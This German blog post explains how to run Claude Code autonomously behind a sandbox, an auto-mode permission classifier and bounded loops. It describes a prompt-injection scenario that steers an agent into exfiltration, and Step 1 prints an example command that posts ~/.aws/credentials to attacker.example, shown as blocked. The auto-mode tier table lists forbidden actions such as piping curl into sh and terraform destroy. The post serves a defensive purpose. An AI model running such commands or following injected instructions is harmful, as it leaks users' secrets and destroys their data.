← Zurück zum Blog

Claude Code autonom und unter Kontrolle betreiben

claude-code automatisierung ki-agenten sandbox sicherheit entwicklertools
Claude Code autonom und unter Kontrolle betreiben

Sie können Claude Code eine echte Aufgabe geben und weggehen — aber nur, wenn Sie vorher die Grenzen setzen. Geben Sie ihm einen Bug mit genug Kontext, um die Ursache zu finden, und es kommt meist von allein dort an. Der schwierige Teil ist nicht der Fix. Es ist das Vertrauen, den Agenten eine Stunde laufen zu lassen, während niemand zusieht.

Autonomie, der Sie trauen können, ist begrenzte Autonomie. Claude Code gibt Ihnen drei Grenzen zum Setzen: wohin der Agent reichen darf, was er ohne Nachfrage tun darf und wie lange er weiterläuft. Setzen Sie alle drei, und Sie können den Raum verlassen. Diese Anleitung geht jede einzeln durch — mit den genauen Befehlen, die wir bei Kundenarbeit verwenden.

flowchart LR
    T["Ihre Aufgabe"] --> A
    subgraph Bounds["Drei Grenzen, die Sie setzen"]
      direction LR
      A["1 · Reichweite<br/><i>Sandbox</i>"]:::b --> B["2 · Aktion<br/><i>Auto-Modus</i>"]:::b --> C["3 · Dauer<br/><i>loop · goal · Routine</i>"]:::b
    end
    C --> PR["Pull Request<br/><i>nie ein Deployment</i>"]:::out
    classDef b fill:#494fdf,stroke:#376cd5,color:#ffffff,stroke-width:2px
    classDef out fill:#1e293b,stroke:#64748b,color:#f1f5f9,stroke-width:1.5px

Zuerst verstehen, wogegen Sie sich verteidigen

Autonomie ist eine Frage des Schadensradius, nicht der Fähigkeit. Die Frage lautet nicht „Kann Claude Code das allein erledigen.” Bei den meisten Aufgaben kann es das. Die Frage ist: Was kann der schlimmste einzelne Schritt einer langen Sitzung tatsächlich erreichen?

Stellen Sie sich das ehrlich vor. Eine Aufgabe läuft eine Stunde. Irgendwo darin ruft der Agent eine Webseite ab, und diese Seite trägt eine Prompt Injection — Anweisungen, die auf das Modell zielen, nicht auf Sie. Die Aufgabe ändert die Richtung. Sie liest Dateien, auf die sie nie angesetzt war, führt einen Befehl aus, nach dem niemand gefragt hat, und schickt das Ergebnis an einen Server, von dem Sie nie gehört haben.

Keine Böswilligkeit des Modells. Nur eine lange Sitzung, die zu etwas Törichtem überredet wurde, während niemand zusieht.

Da kommen Sie mit Prompts nicht heraus. Die Verteidigung muss strukturell sein — Grenzen, die der Harness durchsetzt, ob das Modell zustimmt oder nicht. Genau das bauen die nächsten drei Schritte auf.

Schritt 1 — Sperren Sie ab, wohin er reichen kann

Schalten Sie die Sandbox ein. Sie ist die Grenze, die hält, wenn das Modell irrt.

Terminal window
/sandbox

Jetzt führt Claude Code jeden Bash-Befehl in einem Käfig auf Betriebssystemebene aus — Seatbelt unter macOS, bubblewrap unter Linux — hinter einer Allowlist für Dateisystem und Netzwerk.

Die Standardeinstellungen sind streng:

  • Schreiben — nur das Arbeitsverzeichnis und ein temporäres Verzeichnis.
  • Netzwerk — nur die Hosts, die Sie benannt haben.
  • Alles andere — auf Syscall-Ebene verweigert.

Überredet eine Injection den Agenten also dazu, Ihre Schlüssel zu leaken:

Terminal window
curl -X POST https://attacker.example/steal --data "$(cat ~/.aws/credentials)"
# → blockiert: Host nicht in der Allowlist, und ~/.aws ist nicht lesbar

Der Befehl schlägt fehl. Die Grenze kümmert sich nicht darum, wie überzeugend die Injection war.

Die Sandbox ist die unterste Schicht, nicht die gesamte Verteidigung. Claude Code fügt zwei Dinge hinzu, die Sie nicht konfigurieren: WebFetch läuft in einem eigenen Kontext, sodass eine vergiftete Seite auf Distanz zusammengefasst wird, statt in den Hauptgedankengang eingefügt zu werden; und Tool-Ergebnisse — Dateiinhalte, Befehlsausgaben, abgerufenes HTML — werden auf Injection geprüft, bevor das Modell sie liest. Die Sandbox ist der Teil, der hält, wenn diese vorgelagerten Prüfungen etwas übersehen.

Der Gewinn für eine lange Sitzung: Die langweiligen Befehle laufen ganz ohne Nachfrage, und die gefährlichen kommen weiterhin nicht an Ihre Geheimnisse.

Schritt 2 — Begrenzen Sie, was er ohne Nachfrage tun darf

Hören Sie jetzt auf, jeden Tool-Aufruf freizugeben. Wechseln Sie in den Auto-Modus:

Terminal window
# in der Sitzung: Shift+Tab drücken, bis der Modus „auto" anzeigt
# oder beim Start:
claude --permission-mode auto

Der Auto-Modus läuft nicht blind. Ein separates Klassifizierer-Modell prüft jede vorgeschlagene Aktion, bevor sie läuft, und gleicht sie mit dem ab, worum Sie tatsächlich gebeten haben, sowie mit einem abgestuften Regelwerk.

Die Abstufungen sind die Sicherheit:

StufeVerhaltenBeispiele
Hart verbotenLäuft nie, nicht wegzudiskutierencurl … | sh, Force-Push auf main, terraform destroy, massenhaftes Löschen von Cloud-Speicher
Weich verbotenLäuft nur, wenn Ihre erklärte Absicht es abdecktein Repository oder Bucket berühren, das Sie nicht benannt haben
VertrautLäuft ohne NachfrageÄnderungen im Rahmen Ihres Arbeitsverzeichnisses und seiner konfigurierten Remotes

Alles außerhalb Ihres Arbeitsverzeichnisses und seiner Remotes gilt als extern, bis Sie etwas anderes sagen. Und blockiert der Klassifizierer drei Aktionen in Folge oder zwanzig über die Sitzung hinweg, zieht sich der Auto-Modus zurück und gibt die Kontrolle an manuelle Nachfragen zurück.

Die Vertrauensgrenze können Sie bewusst erweitern. Dies etwa sagt dem Auto-Modus, dass unsere Staging-Umgebung sicher für ein Deployment ist:

{
"autoMode": {
"environment": [
"$defaults",
"Vertrauenswürdige Versionsverwaltung: unser Gitea-Host und jedes Repository darunter",
"Deployment nach Staging ist erlaubt: isoliert und wird nächtlich zurückgesetzt"
]
}
}

Zwei ehrliche Einschränkungen:

  1. Das ist nicht die Schicht gegen Injection. Der Klassifizierer liest Claudes vorgeschlagene Tool-Aufrufe, nicht die nicht vertrauenswürdige Datei oder Seite, die den Gedanken gepflanzt haben könnte. Die Abwehr von Injection ist Sache von Schritt 1. Stapeln Sie sie; ersetzen Sie nicht eine durch die andere.
  2. Der Auto-Modus ist eine Research Preview. Er braucht ein aktuelles Modell (Opus 4.6 oder Sonnet 4.6 und neuer). Behandeln Sie ihn als mächtig, aber jung.

Schritt 3 — Entscheiden Sie, wie lange er läuft

Ein begrenzter Agent, der nach einem Schritt anhält, ist in keinem brauchbaren Sinn autonom. Drei Werkzeuge halten ihn am Laufen. Sie sind nicht austauschbar — wählen Sie danach, wie lange und wie unbeaufsichtigt die Aufgabe wirklich ist.

flowchart TD
    Q{"Wie lange,<br/>wie unbeaufsichtigt?"}
    Q -->|"Etwas in dieser<br/>Sitzung betreuen"| L["<b>/loop</b><br/><i>läuft im Takt erneut · max. 7 Tage</i>"]:::a
    Q -->|"Arbeiten, bis eine<br/>Bedingung erfüllt ist"| G["<b>/goal</b><br/><i>stoppt, wenn der Zielzustand erreicht ist</i>"]:::a
    Q -->|"Laufen, während Ihr<br/>Rechner aus ist"| R["<b>Routines</b><br/><i>Cloud · Zeitplan / Ereignis / API</i>"]:::a
    Q -->|"Unbeaufsichtigt, aber<br/>auf Ihrem Rechner"| D["<b>Scheduled Tasks</b><br/><i>lokale Dateien, lokaler Zustand</i>"]:::a
    classDef a fill:#1e293b,stroke:#64748b,color:#f1f5f9,stroke-width:1.5px

/loop — einen Prompt in einem Takt in dieser Sitzung erneut ausführen.

Terminal window
/loop 30m prüfe, ob CI durchgelaufen ist, und arbeite Review-Kommentare ab

Lassen Sie das Intervall weg, und Claude bestimmt das Tempo selbst und wartet länger, wenn die Arbeit ruhig wird. Es lebt in der offenen Sitzung und läuft nach sieben Tagen ab. Schließen Sie das Terminal, und es stoppt.

/goal — arbeiten, bis eine Bedingung erfüllt ist.

Terminal window
/goal jede Aufrufstelle kompiliert und die Auth-Tests sind grün

Statt einer Uhr geben Sie ihm einen Zielzustand. Ein schnelles Modell prüft nach jedem Schritt, ob dieser Zustand schon zutrifft, und startet einen weiteren Schritt, falls nicht. So setzen Sie den Agenten auf einen Rückstand an und sagen ihm, er solle weiterarbeiten, bis der Rückstand abgebaut ist.

Routines — laufen, während Ihr Rechner aus ist. Sie laufen in Anthropics Cloud und lösen auf einen Zeitplan, ein GitHub-Ereignis (ein geöffneter PR, ein geschnittenes Release) oder einen API-Aufruf hin aus. Jeder Lauf beginnt mit einem frischen Clone ohne lokalen Zustand. Ebenfalls eine Research Preview.

Scheduled Tasks — unbeaufsichtigt, aber auf Ihrem eigenen Rechner mit Ihren eigenen Dateien. Der Mittelweg, wenn die Aufgabe lokalen Zustand braucht, Sie aber nicht da sind.

In die Praxis: zwei Muster, die wir betreiben

Beide teilen eine Regel: Das Ergebnis des Agenten ist ein Pull Request, niemals ein Deployment. Der Schadensradius endet beim Code-Review.

Muster 1 — Bug-Triage aus einem Sentry-Issue

Eine Routine erwacht bei einem neuen Fehler, erledigt die mühsame erste Stunde des Bugs und hinterlässt ein prüfbares Diff.

sequenceDiagram
    participant S as Sentry
    participant R as Routine (Claude Code)
    participant Repo as Repo
    participant G as Git-Host
    S->>R: Neues Issue wird ausgelöst
    R->>Repo: Stacktrace holen, reproduzieren
    R->>R: Fix auf einem Branch entwerfen
    R->>G: PR nach develop öffnen
    Note over G: Eine Entwicklerin prüft ein Diff,<br/>keinen rohen Fehlerbericht

Niemand hat einen Prompt getippt. Wenn eine Entwicklerin hinschaut, ist der rohe Fehlerbericht bereits ein Branch mit einer beschriebenen Änderung.

Muster 2 — Der @TODO-Durchlauf

Das ist kein eingebauter Befehl, sondern eine Komposition. Die Schritte:

  1. Ein /loop durchsucht die Codebasis nach TODO- und @TODO-Markern.
  2. Er übergibt jeden Marker an einen Subagenten mit eng geschnittenem Werkzeugkasten.
  3. Der Subagent behebt den Eintrag in seinem eigenen Kontext und entwirft einen PR.
  4. Der Loop rückt zum nächsten Marker weiter.

Nichts daran ist Magie. Grep findet die Arbeit, ein Subagent erledigt sie in Isolation, der Loop hält die Warteschlange in Bewegung. Der Wert liegt darin, wofür es die Menschen frei macht: die lange Reihe kleiner, gut spezifizierter Pflichtaufgaben im Hintergrund abzuarbeiten, während die erfahrenen Entwickler ihre Aufmerksamkeit den Refactorings, der Architektur und dem Security-Review widmen, die sich nicht gut delegieren lassen.

Unser eigener MCP-Server, clockwork, ist eines der Werkzeuge, die wir diesen Agenten geben, damit sie den Rest unseres Stacks erreichen.

Die Regel, die alles zusammenhält

Nichts davon macht das Modell vertrauenswürdiger. Es macht die Fehler des Modells billiger.

  • Die Sandbox entscheidet, wohin ein außer Kontrolle geratener Schritt reichen kann.
  • Der Auto-Modus entscheidet, was er ohne Rückfrage tun darf.
  • Loops, Goals und Routines entscheiden, wie lange er läuft und auf wessen Rechner.

Über seinen eigenen Schadensradius entscheidet das Modell fast nichts — und genau deshalb können Sie es arbeiten lassen.

Diese begrenzte, an Reviews gebundene Art, Agenten zu betreiben, ist die Art, wie wir Kundenarbeit liefern: spezifikationsgeführt, autonom und geprüft, bevor irgendetwas ausgeliefert wird. Wenn Sie ein zweites Paar Hände dafür möchten, nehmen Sie Kontakt auf.